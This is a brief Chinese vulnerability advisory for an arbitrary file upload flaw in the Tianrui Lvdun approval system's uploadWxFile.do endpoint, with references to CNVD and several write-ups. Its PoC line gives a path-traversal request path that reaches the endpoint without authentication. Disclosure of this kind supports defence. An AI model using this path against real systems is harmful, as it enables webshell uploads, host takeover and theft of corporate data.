Description
天锐绿盾审批系统 uploadWxFile.do存在任意文件上传漏洞，未经身份验证的攻击者可通过该接口上传任意文件，webshell获取主机权限，可能导致企业数据泄露和安全风险。
天锐绿盾审批系统 uploadWxFile.do 存在任意文件上传漏洞
PoC
/trwfe/file/updateCancelWMVal.do/../../config/uploadWxFile.do
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.cnvd.org.cn/flaw/show/CNVD-2025-01244
https://mrxn.net/jswz/trwfe-uploadWxFile-rce.html
https://cn-sec.com/archives/4936606.html
https://wiki.shikangsi.com/post/5975/
https://ddpoc.com/DVB-2025-9801.html
https://x1lys.github.io/2025/12/01/%E5%A4%A9%E9%94%90%E7%BB%BF%E7%9B%BE%E5%AE%A1%E6%89%B9%E7%B3%BB%E7%BB%9FuploadWxFile%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/
https://www.tutusec.com/2654.html